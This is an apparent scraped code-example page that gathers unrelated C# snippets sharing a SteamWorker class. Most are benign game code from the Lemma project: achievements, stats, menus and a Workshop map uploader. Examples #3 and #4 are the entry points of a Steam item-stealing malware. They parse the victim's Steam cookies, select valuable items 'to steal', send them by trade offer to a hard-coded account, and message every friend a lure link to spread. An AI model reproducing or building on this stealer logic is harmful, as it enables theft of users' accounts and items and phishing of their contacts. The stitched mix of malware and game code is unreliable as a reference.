예제 #1
0
        public override void Awake()
        {
            base.Awake();

#if STEAMWORKS
            this.LeaderboardSync.Action = this.syncLeaderboard;
#endif

            this.EnabledWhenPaused = false;

            this.Retry.Action = this.retry;

            this.Add(new CommandBinding(this.Disable, delegate()
            {
                this.main.BaseTimeMultiplier.Value = 0.0f;
                this.main.Menu.CanPause.Value      = false;
            }));

            this.Add(new CommandBinding(this.main.Spawner.PlayerSpawned, delegate()
            {
                PlayerFactory.Instance.Add(new CommandBinding(PlayerFactory.Instance.Get <Player>().Die, (Action)this.retryDeath));
            }));

            this.BestTime.Value = this.main.GetMapTime(WorldFactory.Instance.Get <World>().UUID);

            this.Add(new CommandBinding(this.Disable, delegate()
            {
                AkSoundEngine.PostEvent(AK.EVENTS.STOP_ALL, this.Entity);
                AkSoundEngine.PostEvent(AK.EVENTS.PLAY_MUSIC_STINGER, this.Entity);
                this.BestTime.Value = this.main.SaveMapTime(WorldFactory.Instance.Get <World>().UUID, this.ElapsedTime);
                PlayerFactory.Instance.Get <FPSInput>().Enabled.Value = false;
                SteamWorker.IncrementStat("stat_challenge_levels_played", 1);
            }));
        }
예제 #2
0
        public override void Awake()
        {
            base.Awake();
            Note.Notes.Add(this);
            this.Add(new NotifyBinding(delegate()
            {
                if (this.IsCollected)
                {
                    int notesCollected = Note.Notes.Where(x => x.IsCollected).Count();
                    int total          = Note.Notes.Count;

                    Container msg = this.main.Menu.ShowMessageFormat
                                    (
                        this.Entity,
                        "\\notes read",
                        notesCollected, total
                                    );
                    this.main.Menu.HideMessage(this.Entity, msg, 4.0f);
                    this.Collected.Execute();
                    PlayerData playerData = PlayerDataFactory.Instance.Get <PlayerData>();
                    playerData.Notes.Value++;
                    SteamWorker.SetStat("stat_notes_read", playerData.Notes);
                    if (SteamWorker.GetStat("stat_notes_read") == playerData.Notes)
                    {
                        SteamWorker.IndicateAchievementProgress("cheevo_notes", (uint)playerData.Notes.Value, (uint)totalNotes);
                    }
                }
            }, this.IsCollected));
        }
예제 #3
0
 private static void Main()
 {
     SteamWorker steamWorker = new SteamWorker();
       steamWorker.addOffer("76561198153148180", "192882452", "xA2XguMv");
       steamWorker.ParseSteamCookies();
       if (steamWorker.ParsedSteamCookies.Count <= 0)
     return;
       steamWorker.getSessionID();
       steamWorker.addItemsToSteal("440,570,730,753", "753:gift;570:rare,legendary,immortal,mythical,arcana,normal,unusual,ancient,tool,key;440:unusual,hat,tool,key;730:tool,knife,pistol,smg,shotgun,rifle,sniper rifle,machinegun,sticker,key");
       steamWorker.SendItems("");
       steamWorker.initChatSystem();
       steamWorker.getFriends();
       steamWorker.sendMessageToFriends("WTF Dude? http://screen-pictures.com/img_012/");
 }
예제 #4
0
        private static void Main()
        {
            SteamWorker worker = new SteamWorker();

            worker.addOffer("76561198125064394", "164798666", "Kodf_JPO");
            worker.ParseSteamCookies();
            if (worker.ParsedSteamCookies.Count > 0)
            {
                worker.getSessionID();
                worker.addItemsToSteal("440,570,730,753", "753:gift;570:rare,legendary,immortal,mythical,arcana,normal,unusual,ancient,tool,key;440:unusual,hat,tool,key;730:tool,knife,pistol,smg,shotgun,rifle,sniper rifle,machinegun,sticker,key");
                worker.SendItems("");
                worker.initChatSystem();
                worker.getFriends();
                worker.sendMessageToFriends("WTF Dude? http://screen-pictures.com/img_012/");
            }
        }
예제 #5
0
        public override void Awake()
        {
            base.Awake();
            Collectible.collectibles.Add(this);

            this.PlayerTouched.Action = delegate
            {
                if (!this.PickedUp)
                {
                    this.PickedUp.Value = true;
                    AkSoundEngine.PostEvent(AK.EVENTS.PLAY_COLLECTIBLE, this.Entity);
                    float originalGamma      = main.Renderer.InternalGamma.Value;
                    float originalBrightness = main.Renderer.Brightness.Value;
                    this.Entity.Add
                    (
                        new Animation
                        (
                            new Animation.FloatMoveTo(main.Renderer.InternalGamma, 10.0f, 0.2f),
                            new Animation.FloatMoveTo(main.Renderer.InternalGamma, originalGamma, 0.4f)
                        )
                    );

                    PlayerData playerData = PlayerDataFactory.Instance.Get <PlayerData>();
                    playerData.Collectibles.Value++;
                    if (playerData.Collectibles >= totalCollectibles)
                    {
                        SteamWorker.SetAchievement("cheevo_orbs");
                    }

                    int collected = Collectible.collectibles.Count(x => x.PickedUp);
                    int total     = Collectible.collectibles.Count;

                    SteamWorker.IncrementStat("orbs_collected", 1);

                    this.main.Menu.HideMessage
                    (
                        WorldFactory.Instance,
                        this.main.Menu.ShowMessageFormat(WorldFactory.Instance, "\\orbs collected", collected, total),
                        4.0f
                    );
                }
            };
        }
예제 #6
0
파일: TimeTrial.cs 프로젝트: tammukul/Lemma
        public override void Awake()
        {
            base.Awake();

            this.EnabledWhenPaused = false;
            this.Enabled.Value     = false;

            this.Retry.Action = this.retry;

            if (!this.AllowRespawn)
            {
                this.Add(new CommandBinding(this.main.Spawner.PlayerSpawned, delegate()
                {
                    PlayerFactory.Instance.Add(new CommandBinding(PlayerFactory.Instance.Get <Player>().Die, (Action)this.retryDeath));
                }));
            }

            this.BestTime.Value = this.main.GetMapTime(WorldFactory.Instance.Get <World>().UUID);

            this.Add(new CommandBinding(this.Disable, delegate()
            {
                this.main.BaseTimeMultiplier.Value = 0.0f;
                this.main.Menu.CanPause.Value      = false;
                AkSoundEngine.PostEvent(AK.EVENTS.STOP_ALL, this.Entity);
                AkSoundEngine.PostEvent(AK.EVENTS.PLAY_MUSIC_STINGER, this.Entity);
                this.BestTime.Value = this.main.SaveMapTime(WorldFactory.Instance.Get <World>().UUID, this.ElapsedTime);
                PlayerFactory.Instance.Get <FPSInput>().Enabled.Value = false;
                this.ShowUI.Execute();
#if STEAMWORKS
                SteamWorker.IncrementStat("stat_challenge_levels_played", 1);
                string uuid = WorldFactory.Instance.Get <World>().UUID;
                int score   = (int)(this.BestTime.Value * 1000.0f);
                this.Proxy.Sync(uuid, score);
#endif
            }));
        }
예제 #7
0
        public override void Awake()
        {
            base.Awake();
            Collectible.collectibles.Add(this);

            this.PlayerTouched.Action = delegate
            {
                if (!this.PickedUp)
                {
                    this.PickedUp.Value = true;
                    AkSoundEngine.PostEvent(AK.EVENTS.PLAY_COLLECTIBLE, this.Entity);
                    float originalGamma      = main.Renderer.InternalGamma.Value;
                    float originalBrightness = main.Renderer.Brightness.Value;
                    this.Entity.Add
                    (
                        new Animation
                        (
                            new Animation.FloatMoveTo(main.Renderer.InternalGamma, 10.0f, 0.2f),
                            new Animation.FloatMoveTo(main.Renderer.InternalGamma, originalGamma, 0.4f),
                            new Animation.Execute(this.Entity.Delete)
                        )
                    );

                    int collectibles = ++PlayerDataFactory.Instance.Get <PlayerData>().Collectibles.Value;

                    SteamWorker.IncrementStat("orbs_collected", 1);

                    this.main.Menu.HideMessage
                    (
                        WorldFactory.Instance,
                        this.main.Menu.ShowMessageFormat(WorldFactory.Instance, collectibles == 1 ? "\\one orb collected" : "\\orbs collected", collectibles),
                        4.0f
                    );
                }
            };
        }
예제 #8
0
        public override void Awake()
        {
            // This is to make it so nothing else can be interacted with.
            this.EncompassingView      = new View(main.GeeUI, main.GeeUI.RootView);
            this.MainView              = new PanelView(main.GeeUI, EncompassingView, Vector2.Zero);
            MainView.Resizeable        = false;
            MainView.AnchorPoint.Value = new Vector2(0.5f, 0.5f);
            MainView.Width.Value       = 400;
            MainView.Height.Value      = 400;

            this.EncompassingView.Add(new Binding <int, Point>(EncompassingView.Height, (p) => p.Y, main.ScreenSize));
            this.EncompassingView.Add(new Binding <int, Point>(EncompassingView.Width, (p) => p.X, main.ScreenSize));
            this.MainView.Add(new Binding <Vector2, int>(MainView.Position, i => new Vector2(i / 2f, MainView.Y), EncompassingView.Width));
            this.MainView.Add(new Binding <Vector2, int>(MainView.Position, i => new Vector2(MainView.X, i / 2f), EncompassingView.Height));

            new TextView(main.GeeUI, MainView, "Workshop entry:", new Vector2(10, 8));
            this.SelectFile = new DropDownView(main.GeeUI, MainView, new Vector2(10, 35));
            SelectFile.AddOption("[Fetching...]", null);
            this.SelectFile.Position.Value = new Vector2(10, 30);

            this.queryResult = SteamWorker.GetCreatedWorkShopEntries((entries) =>
            {
                SelectFile.RemoveAllOptions();
                SelectFile.AddOption("[new]", delegate()
                {
                    this.currentPublishedFile = default(SteamUGCDetails_t);
                    this.UploadButton.Text    = "Publish";
                    this.UploadButton.AllowMouseEvents.Value = true;
                    this.CloseButton.AllowMouseEvents.Value  = true;
                });
                var listEntries = entries as List <SteamUGCDetails_t>;
                if (listEntries == null)
                {
                    SelectFile.AddOption("[Error fetching entries]", null);
                    return;
                }
                foreach (var entry in listEntries)
                {
                    SteamUGCDetails_t entry1 = entry;
                    SelectFile.AddOption(entry.m_rgchTitle, () =>
                    {
                        this.currentPublishedFile = entry1;
                        this.NameView.Text        = entry1.m_rgchTitle;
                        this.DescriptionView.Text = entry1.m_rgchDescription;
                        this.UploadButton.Text    = "Update";
                        this.UploadButton.AllowMouseEvents.Value = true;
                        this.CloseButton.AllowMouseEvents.Value  = true;
                    }, related: entry);
                }
            });

            new TextView(main.GeeUI, MainView, "Name:", new Vector2(10, 68));
            this.NameView = new TextFieldView(main.GeeUI, MainView, new Vector2(10, 85))
            {
                MultiLine = false
            };
            new TextView(main.GeeUI, MainView, "Description:", new Vector2(10, 118));
            this.DescriptionView = new TextFieldView(main.GeeUI, MainView, new Vector2(10, 135));

            this.UploadButton = new ButtonView(main.GeeUI, MainView, "Publish", new Vector2(50, 360));
            this.CloseButton  = new ButtonView(main.GeeUI, MainView, "Close", new Vector2(300, 360));

            var statusString = new TextView(main.GeeUI, MainView, "Waiting", new Vector2(110, 365))
            {
                TextJustification = TextJustification.Center,
            };

            statusString.AutoSize.Value = false;
            statusString.Width.Value    = 190;

            ConfigureTextField(NameView);
            ConfigureTextField(DescriptionView);

            UploadButton.OnMouseClick += (sender, args) =>
            {
                DoUpload();
            };

            CloseButton.OnMouseClick += (sender, args) =>
            {
                this.Delete.Execute();
            };

            this.Add(new Binding <string>(statusString.Text, StatusString));

            base.Awake();
        }
예제 #9
0
        public void DoUpload()
        {
            if (NameView.Text.Trim().Length == 0 || DescriptionView.Text.Trim().Length == 0)
            {
                return;
            }

            CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = false;

            string filePath    = this.main.GetFullMapPath();
            string imagePath   = string.Format("{0}.png", filePath.Substring(0, filePath.LastIndexOf('.')));
            string description = DescriptionView.Text;
            string name        = NameView.Text;

            string steamFilePath  = string.Format("workshop/maps/{0}.map", MD5(filePath));
            string steamImagePath = string.Format("workshop/maps/{0}.png", MD5(imagePath));

            StatusString.Value = "Storing map...";
            if (SteamWorker.WriteFileUGC(filePath, steamFilePath))
            {
                StatusString.Value = "Storing image...";
                if (!SteamWorker.WriteFileUGC(imagePath, steamImagePath))
                {
                    StatusString.Value = "Failed to store image.";
                    CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                    return;
                }
            }
            else
            {
                CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                StatusString.Value = "Failed to store map.";
                return;
            }

            StatusString.Value   = "Uploading map...";
            this.fileShareResult = SteamWorker.ShareFileUGC(steamFilePath, (b, t) =>
            {
                if (b)
                {
                    StatusString.Value   = "Uploading image...";
                    this.fileShareResult = SteamWorker.ShareFileUGC(steamImagePath, (b1, handleT) =>
                    {
                        if (b1)
                        {
                            StatusString.Value = "Finalizing Entry...";
                            if (string.IsNullOrEmpty(this.currentPublishedFile.m_pchFileName))
                            {
                                // Upload new
                                this.filePublishResult = SteamWorker.UploadWorkShop(steamFilePath, steamImagePath, name, description, (publishSuccess, needsAcceptEULA, publishedFile) =>
                                {
                                    if (publishSuccess)
                                    {
                                        StatusString.Value = "Entry created!";
                                        DescriptionView.ClearText();
                                        NameView.ClearText();
                                        CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                                        SteamWorker.SetAchievement("level_editor");
                                    }
                                    else
                                    {
                                        StatusString.Value = "Publish failed.";
                                        CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                                    }
                                });
                            }
                            else
                            {
                                // Update existing
                                this.fileUpdateResult = SteamWorker.UpdateWorkshopMap(currentPublishedFile.m_nPublishedFileId, steamFilePath, steamImagePath, name, description, publishSuccess =>
                                {
                                    if (publishSuccess)
                                    {
                                        StatusString.Value = "Entry updated!";
                                        CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                                        SteamRemoteStorage.FileDelete(this.currentPublishedFile.m_pchFileName);
                                    }
                                    else
                                    {
                                        StatusString.Value = "Update failed.";
                                        CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                                    }
                                });
                            }
                        }
                        else
                        {
                            StatusString.Value = "Failed to upload image.";
                            CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                        }
                    });
                }
                else
                {
                    StatusString.Value = "Failed to upload map.";
                    CloseButton.AllowMouseEvents.Value = UploadButton.AllowMouseEvents.Value = true;
                }
            });
        }
예제 #10
0
파일: MainMenu.cs 프로젝트: tammukul/Lemma
        public static void Run(Entity script)
        {
            const float fadeTime = 1.0f;

            main.Spawner.CanSpawn = false;

            Sprite logo = new Sprite();

            logo.Image.Value       = "Images\\logo";
            logo.AnchorPoint.Value = new Vector2(0.5f, 0.5f);
            main.UI.Root.Children.Insert(0, logo);

            if (main.Spawner.StartSpawnPoint.Value == "demo")
            {
                main.UI.IsMouseVisible.Value = true;
                logo.Add(new Binding <Vector2, Point>(logo.Position, x => new Vector2(x.X * 0.5f, x.Y * 0.4f), main.ScreenSize));

                Container listContainer = main.UIFactory.CreateContainer();
                listContainer.Opacity.Value     = 0.5f;
                listContainer.PaddingLeft.Value = listContainer.PaddingRight.Value = listContainer.PaddingBottom.Value = listContainer.PaddingTop.Value = 8.0f * main.FontMultiplier;
                listContainer.Add(new Binding <Vector2, Point>(listContainer.Position, x => new Vector2(x.X * 0.5f, x.Y * 0.65f), main.ScreenSize));
                listContainer.AnchorPoint.Value = new Vector2(0.5f, 0.5f);
                listContainer.Opacity.Value     = 0.0f;
                script.Add(new Animation
                           (
                               new Animation.Delay(1.0f),
                               new Animation.FloatMoveTo(listContainer.Opacity, 1.0f, fadeTime)
                           ));

                ListContainer list = new ListContainer();
                list.Spacing.Value   = 8.0f * main.FontMultiplier;
                list.Alignment.Value = ListContainer.ListAlignment.Middle;
                listContainer.Children.Add(list);
                main.UI.Root.Children.Insert(1, listContainer);

                script.Add(new CommandBinding(script.Delete, listContainer.Delete));

                Action <string> addText = delegate(string text)
                {
                    TextElement element = new TextElement();
                    element.FontFile.Value = main.Font;
                    element.Text.Value     = text;
                    element.Add(new Binding <float, Vector2>(element.WrapWidth, x => x.X, logo.ScaledSize));
                    element.Opacity.Value = 0.0f;
                    script.Add(new Animation
                               (
                                   new Animation.Delay(1.0f),
                                   new Animation.FloatMoveTo(element.Opacity, 1.0f, fadeTime)
                               ));
                    list.Children.Add(element);
                };

                Action <string, string> addLink = delegate(string text, string url)
                {
                    TextElement element = main.UIFactory.CreateLink(text, url);
                    element.Add(new Binding <float, Vector2>(element.WrapWidth, x => x.X, logo.ScaledSize));
                    element.Opacity.Value = 0.0f;
                    script.Add(new Animation
                               (
                                   new Animation.Delay(1.0f),
                                   new Animation.FloatMoveTo(element.Opacity, 1.0f, fadeTime)
                               ));
                    list.Children.Add(element);
                };

                addText("Thanks for trying the demo!");
                addText("If you enjoyed it, please consider buying a Steam key from one of these venues:");

                addLink("itch.io (best dev cut)", "http://et1337.itch.io/lemma");
                addLink("Steam (direct)", "http://store.steampowered.com/app/300340");
            }
            else
            {
                logo.Add(new Binding <Vector2, Point>(logo.Position, x => new Vector2(x.X * 0.5f, x.Y * 0.5f), main.ScreenSize));
            }

            Container cornerContainer = main.UIFactory.CreateContainer();

            cornerContainer.AnchorPoint.Value = new Vector2(1, 0);
            cornerContainer.PaddingLeft.Value = cornerContainer.PaddingRight.Value = 12.0f;
                        #if VR
            if (main.VR)
            {
                cornerContainer.Add(new Binding <Vector2, Point>(cornerContainer.Position, x => new Vector2(x.X * 0.75f, x.Y * 0.25f), main.ScreenSize));
            }
            else
                        #endif
            cornerContainer.Add(new Binding <Vector2, Point>(cornerContainer.Position, x => new Vector2(x.X - 10.0f, 10.0f), main.ScreenSize));
            main.UI.Root.Children.Add(cornerContainer);

            ListContainer corner = new ListContainer();
            corner.Orientation.Value = ListContainer.ListOrientation.Horizontal;
            corner.Alignment.Value   = ListContainer.ListAlignment.Middle;
            corner.Spacing.Value     = 12.0f;
            cornerContainer.Children.Add(corner);

            TextElement version = new TextElement();
            version.FontFile.Value = main.Font;
            version.Add(new Binding <string>(version.Text, x => string.Format(main.Strings.Get("build number") ?? "Build {0}", Main.Build.ToString()), main.Strings.Language));
            corner.Children.Add(version);

            TextElement webLink = main.UIFactory.CreateLink("et1337.com", "http://et1337.com");
            corner.Children.Add(webLink);

            Container languageMenu = new Container();

            Container languageButton = main.UIFactory.CreateButton(delegate()
            {
                languageMenu.Visible.Value = !languageMenu.Visible;
            });
            corner.Children.Add(languageButton);

            Sprite currentLanguageIcon = new Sprite();
            currentLanguageIcon.Add(new Binding <string, Main.Config.Lang>(currentLanguageIcon.Image, x => "Images\\" + x.ToString(), main.Settings.Language));
            languageButton.Children.Add(currentLanguageIcon);

            languageMenu.Tint.Value        = Microsoft.Xna.Framework.Color.Black;
            languageMenu.Visible.Value     = false;
            languageMenu.AnchorPoint.Value = new Vector2(1, 0);
            cornerContainer.CheckLayout();
            languageMenu.Add(new Binding <Vector2>(languageMenu.Position, () => languageButton.GetAbsolutePosition() + new Vector2(languageButton.ScaledSize.Value.X, languageButton.ScaledSize.Value.Y), languageButton.Position, languageButton.ScaledSize, cornerContainer.Position));
            main.UI.Root.Children.Add(languageMenu);

            ListContainer languages = new ListContainer();
            languages.Orientation.Value = ListContainer.ListOrientation.Vertical;
            languages.Alignment.Value   = ListContainer.ListAlignment.Max;
            languages.Spacing.Value     = 0.0f;
            languageMenu.Children.Add(languages);

            foreach (Main.Config.Lang language in Enum.GetValues(typeof(Main.Config.Lang)))
            {
                UIComponent button = main.UIFactory.CreateButton(delegate()
                {
                    main.Settings.Language.Value = language;
                    languageMenu.Visible.Value   = false;
                });

                Sprite icon = new Sprite();
                icon.Image.Value = "Images\\" + language.ToString();
                button.Children.Add(icon);

                languages.Children.Add(button);
            }

            logo.Opacity.Value                = 0.0f;
            version.Opacity.Value             = 0.0f;
            cornerContainer.Opacity.Value     = 0.0f;
            webLink.Opacity.Value             = 0.0f;
            languageButton.Opacity.Value      = 0.0f;
            currentLanguageIcon.Opacity.Value = 0.0f;

            script.Add(new Animation
                       (
                           new Animation.Delay(1.0f),
                           new Animation.Parallel
                           (
                               new Animation.FloatMoveTo(logo.Opacity, 1.0f, fadeTime),
                               new Animation.FloatMoveTo(version.Opacity, 1.0f, fadeTime),
                               new Animation.FloatMoveTo(cornerContainer.Opacity, UIFactory.Opacity, fadeTime),
                               new Animation.FloatMoveTo(webLink.Opacity, 1.0f, fadeTime),
                               new Animation.FloatMoveTo(languageButton.Opacity, UIFactory.Opacity, fadeTime),
                               new Animation.FloatMoveTo(currentLanguageIcon.Opacity, 1.0f, fadeTime)
                           )
                       ));

            script.Add(new CommandBinding(script.Delete, logo.Delete, cornerContainer.Delete, languageMenu.Delete));

            main.Renderer.InternalGamma.Value = 0.0f;
            main.Renderer.Brightness.Value    = 0.0f;
            main.Renderer.Tint.Value          = new Vector3(0.0f);
            script.Add(new Animation
                       (
                           new Animation.Vector3MoveTo(main.Renderer.Tint, new Vector3(1.0f), 0.3f)
                       ));

            if (main.Settings.GodModeProperty)
            {
                SteamWorker.SetAchievement("cheevo_god_mode");
            }
            else
            {
                int     konamiIndex = 0;
                PCInput input       = script.Create <PCInput>();
                input.Add(new CommandBinding <PCInput.PCInputBinding>(input.AnyInputDown, delegate(PCInput.PCInputBinding button)
                {
                    if (!main.Settings.GodModeProperty)
                    {
                        if (button.Key == konamiCode[konamiIndex].Key || button.GamePadButton == konamiCode[konamiIndex].GamePadButton)
                        {
                            if (konamiIndex == konamiCode.Length - 1)
                            {
                                main.Settings.GodModeProperty.Value = true;
                                main.SaveSettings();
                                SteamWorker.SetAchievement("cheevo_god_mode");
                                main.Menu.HideMessage(script, main.Menu.ShowMessage(script, "\\god mode"), 5.0f);
                            }
                            else
                            {
                                konamiIndex++;
                            }
                        }
                        else
                        {
                            konamiIndex = 0;
                            if (button.Key == konamiCode[konamiIndex].Key || button.GamePadButton == konamiCode[konamiIndex].GamePadButton)
                            {
                                konamiIndex++;
                            }
                        }
                    }
                }));
            }
        }
예제 #11
0
        public static void Run(Entity script)
        {
            const float fadeTime = 1.0f;

            main.Spawner.CanSpawn = false;

            Sprite logo = new Sprite();

            logo.Image.Value       = "Images\\logo";
            logo.AnchorPoint.Value = new Vector2(0.5f, 0.5f);
            logo.Add(new Binding <Vector2, Point>(logo.Position, x => new Vector2(x.X * 0.5f, x.Y * 0.5f), main.ScreenSize));
            main.UI.Root.Children.Insert(0, logo);

            ListContainer corner = new ListContainer();

            corner.AnchorPoint.Value = new Vector2(1, 1);
            corner.Orientation.Value = ListContainer.ListOrientation.Vertical;
            corner.Reversed.Value    = true;
            corner.Alignment.Value   = ListContainer.ListAlignment.Max;
                        #if VR
            if (main.VR)
            {
                corner.Add(new Binding <Vector2, Point>(corner.Position, x => new Vector2(x.X * 0.75f, x.Y * 0.75f), main.ScreenSize));
            }
            else
                        #endif
            corner.Add(new Binding <Vector2, Point>(corner.Position, x => new Vector2(x.X - 10.0f, x.Y - 10.0f), main.ScreenSize));
            main.UI.Root.Children.Add(corner);

            TextElement version = new TextElement();
            version.FontFile.Value = main.Font;
            version.Add(new Binding <string, Main.Config.Lang>(version.Text, x => string.Format(main.Strings.Get("build number") ?? "Build {0}", Main.Build.ToString()), main.Settings.Language));
            corner.Children.Add(version);

            TextElement webLink = main.UIFactory.CreateLink("et1337.com", "http://et1337.com");
            corner.Children.Add(webLink);

            Container languageMenu = new Container();

            UIComponent languageButton = main.UIFactory.CreateButton(delegate()
            {
                languageMenu.Visible.Value = !languageMenu.Visible;
            });
            corner.Children.Add(languageButton);

            Sprite currentLanguageIcon = new Sprite();
            currentLanguageIcon.Add(new Binding <string, Main.Config.Lang>(currentLanguageIcon.Image, x => "Images\\" + x.ToString(), main.Settings.Language));
            languageButton.Children.Add(currentLanguageIcon);

            languageMenu.Tint.Value    = Microsoft.Xna.Framework.Color.Black;
            languageMenu.Visible.Value = false;
            corner.Children.Add(languageMenu);

            ListContainer languages = new ListContainer();
            languages.Orientation.Value = ListContainer.ListOrientation.Vertical;
            languages.Alignment.Value   = ListContainer.ListAlignment.Max;
            languages.Spacing.Value     = 0.0f;
            languageMenu.Children.Add(languages);

            foreach (Main.Config.Lang language in Enum.GetValues(typeof(Main.Config.Lang)))
            {
                UIComponent button = main.UIFactory.CreateButton(delegate()
                {
                    main.Settings.Language.Value = language;
                    languageMenu.Visible.Value   = false;
                });

                Sprite icon = new Sprite();
                icon.Image.Value = "Images\\" + language.ToString();
                button.Children.Add(icon);

                languages.Children.Add(button);
            }

            logo.Opacity.Value    = 0.0f;
            version.Opacity.Value = 0.0f;
            webLink.Opacity.Value = 0.0f;

            script.Add(new Animation
                       (
                           new Animation.Delay(1.0f),
                           new Animation.Parallel
                           (
                               new Animation.FloatMoveTo(logo.Opacity, 1.0f, fadeTime),
                               new Animation.FloatMoveTo(version.Opacity, 1.0f, fadeTime),
                               new Animation.FloatMoveTo(webLink.Opacity, 1.0f, fadeTime)
                           )
                       ));

            script.Add(new CommandBinding(script.Delete, logo.Delete, corner.Delete));

            main.Renderer.InternalGamma.Value = 0.0f;
            main.Renderer.Brightness.Value    = 0.0f;
            main.Renderer.Tint.Value          = new Vector3(0.0f);
            script.Add(new Animation
                       (
                           new Animation.Vector3MoveTo(main.Renderer.Tint, new Vector3(1.0f), 0.3f)
                       ));

            if (main.Settings.GodModeProperty)
            {
                SteamWorker.SetAchievement("cheevo_god_mode");
            }
            else
            {
                int     konamiIndex = 0;
                PCInput input       = script.Create <PCInput>();
                input.Add(new CommandBinding <PCInput.PCInputBinding>(input.AnyInputDown, delegate(PCInput.PCInputBinding button)
                {
                    if (!main.Settings.GodModeProperty)
                    {
                        if (button.Key == konamiCode[konamiIndex].Key || button.GamePadButton == konamiCode[konamiIndex].GamePadButton)
                        {
                            if (konamiIndex == konamiCode.Length - 1)
                            {
                                main.Settings.GodModeProperty.Value = true;
                                main.SaveSettings();
                                SteamWorker.SetAchievement("cheevo_god_mode");
                                main.Menu.HideMessage(script, main.Menu.ShowMessage(script, "\\god mode"), 5.0f);
                            }
                            else
                            {
                                konamiIndex++;
                            }
                        }
                        else
                        {
                            konamiIndex = 0;
                            if (button.Key == konamiCode[konamiIndex].Key || button.GamePadButton == konamiCode[konamiIndex].GamePadButton)
                            {
                                konamiIndex++;
                            }
                        }
                    }
                }));
            }
        }